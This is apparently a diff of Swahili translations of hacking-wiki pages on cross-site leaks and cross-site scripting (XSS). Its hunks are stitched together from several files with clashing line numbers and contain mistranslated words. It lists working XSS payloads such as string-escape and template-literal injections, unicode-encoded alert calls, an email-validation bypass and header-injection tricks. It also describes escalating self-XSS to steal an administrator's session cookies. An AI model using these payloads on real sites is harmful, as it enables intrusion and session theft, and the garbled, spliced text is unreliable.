-Imethibitishwa kuwa katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya ` @@ -134,7 +134,7 @@ Imethibitishwa kuwa katika kukosekana kwa [Framing Protections](https://xsleaks. - **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda. - **Code Example**: -Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**. +Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**. Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL. @@ -143,16 +143,16 @@ Kwa mfano: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **kupakia**, basi, tukio la **onload** litazinduliwa **tena**. +Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, tukio la **onload** litazinduliwa **tena**. -Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa. +Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** unapofikiwa. ### Javascript Execution - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content - **More info**: -- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **``** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki: -- Ikiwa inarejelewa kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. -- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halita tekelezwa): +- Ikiwa inarejelewa kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. +- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Ikiwa inarejelewa ndani ya template literals unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**: +- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**: ```javascript alert(1) alert(1) @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya matumizi yao ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ +Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ **Angalia ukurasa ufuatao kwa maelezo zaidi:** {{#ref}} @@ -98,7 +98,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja ![](<../../images/image (711).png>) -Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu utakuwa **ukithibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**). +Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**). Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**: @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka. +Kuna **kodia ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodia ya JS isiyo na mipaka. {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **Universal XSS** -Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\ +Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\ Baadhi ya **esemples**: {{#ref}} @@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md ## Kuingiza ndani ya HTML safi -Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\ +Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\ Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_ +_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_ -Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama: +Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyekundu inatumika, unaweza kutumia payloads kama: ```html ` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. +Katika kesi hizi **input** yako itakuwa **imeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. ### Kutoroka \ ``` -Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye. +Kumbuka kwamba katika mfano huu **hatujafunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye. ### Ndani ya msimbo wa JS -Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa: +Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -489,7 +489,7 @@ Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lin ### Template literals \`\` Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\ -Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**: +Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**: Hii inaweza **kutumiwa vibaya** kwa kutumia: ```javascript @@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript mipangilio mipya (kutoka** [**JavaScript mipangilio mipya**](#javascript-new-lines) **hila)** +**JavaScript mistari mipya (kutoka** [**hila ya JavaScript mistari mipya**](#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -737,23 +737,23 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **Ukatili wa DOM** +## **Vikosi vya DOM** -Kuna **kodiyake JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\ -**Kwa sababu ya upanuzi wa maelezo ya** [**ukosefu wa usalama wa DOM umehamishwa kwenye ukurasa huu**](dom-xss.md)**:** +Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\ +**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Huko utapata **maelezo ya kina kuhusu ni nini ukosefu wa usalama wa DOM, jinsi unavyosababishwa, na jinsi ya kuvitumia**.\ +Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering). ### Kuboresha Self-XSS ### Cookie XSS -Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing: +Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zilizo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -763,19 +763,19 @@ Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**]( ### Kutuma kikao chako kwa admin -Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea ukosefu wa usalama. +Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo. ### Kioo cha Kikao Ikiwa unapata self XSS na ukurasa wa wavuti una **kioo cha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake. -Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/zako za kikao. +Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake. ## Bypass Nyingine ### Unicode Iliyosawazishwa -Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting). +Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -788,7 +788,7 @@ Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Pairi "Key","Value" itarudi kama ifuatavyo: +Jumla "Key","Value" itarudi kama ifuatavyo: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -826,18 +826,18 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS na uingizaji wa kichwa katika jibu la 302 -Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa. +Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo ya kawaida**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa. -Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\ +Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\ Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`. ### Herufi, Nambari na Nukta Pekee -Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii. +Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inafanya** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii. ### Aina za Maudhui Halali za ` ``` @@ -897,9 +897,9 @@ import moment from "moment" import { partition } from "lodash" ``` -Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS. +Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuibua XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua matatizo fulani yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi: ```html